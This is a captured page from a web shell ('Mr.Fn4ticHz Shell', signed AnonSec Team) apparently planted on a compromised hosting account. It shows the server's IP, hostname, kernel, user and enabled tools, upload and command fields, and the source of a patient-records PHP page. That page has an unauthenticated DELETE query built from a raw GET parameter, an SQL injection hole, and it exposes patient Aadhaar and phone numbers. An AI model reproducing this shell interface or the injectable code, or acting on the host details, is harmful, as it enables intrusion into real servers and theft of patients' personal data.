Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 3.21.244.217
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/public_html/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/public_html/login.easenup.in/ptrecods.php
<?php
session_start();
require_once('../../DBManager.php');
if(isset($_GET[delid]))
{
	$sql ="DELETE FROM patient WHERE patientid='$_GET[delid]'";
	$qsql=mysqli_query($con,$sql);
	if(mysqli_affected_rows($con) == 1)
	{
		echo "<script>alert('patient record deleted successfully..');</script>";
	}
}
?>
	  <!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="Dashboard">
    <meta name="keyword" content="Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina">

    <title>Doctors Access </title>
 
  </head>
  <body>
          	<h3><i class="fa fa-angle-right"></i> Patient Record Room  </h3>

          	<style>
    form{
        margin: 20px 0;
    }
    form input, button{
        padding: 5px;
    }
    table{
        width: 100%;
        margin-bottom: 20px;
		border-collapse: collapse;
    }
    table, th, td{
        border: 1px solid #cdcdcd;
    }
    table th, table td{
        padding: 10px;
        text-align: left;
    }
	<style>
           
			table{
    border: solid 1px gray;
    width: 100%;
  }
  </style>
  </head>
 <section class="container">
	<table class="order-table">
      <thead>
        <tr>
          <th width="15%" height="36"><div align="center">Unique Id</div></th>
          <th width="28%"><div align="center">Name Of Patient</div></th>
          <th width="18%"><div align="center">Addhaar Number</div></th>    
          <th width="18%"><div align="center">Contact Number</div></th>
          <th width="17%"><div align="center">Consultant</div></th>
           <th width="17%"><div align="center">View Details</div></th>
        </tr>
        </thead>
      <tbody>
   <?php
		$sql ="SELECT * FROM patient";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
        echo "<tr>
          <td> <strong>Family Id :</strong> $rs[familyid]<br>
		  <strong>UHID :</strong> $rs[patientid] </td>
          <td>
		 &nbsp;$rs[patientname]</td>
			   <td>$rs[AadharNu]</td>
			    <td>$rs[mobileno]
</td>
		    <td>$rs[mobileno]
</td>
          <td align='center'>";
	  echo "
<a href='ptreports.php?patientid=$rs[patientid]'>View Report</a>";
		  echo "</td></tr>";
		}
		?>
		
      </tbody>
    </table>
</section>
    <p>&nbsp;</p>
  </div>
</div>
</div>
 <div class="clear"></div>
  </div>
</div>
<?php
include("footers.php");
?>

Anon7 - 2022
AnonSec Team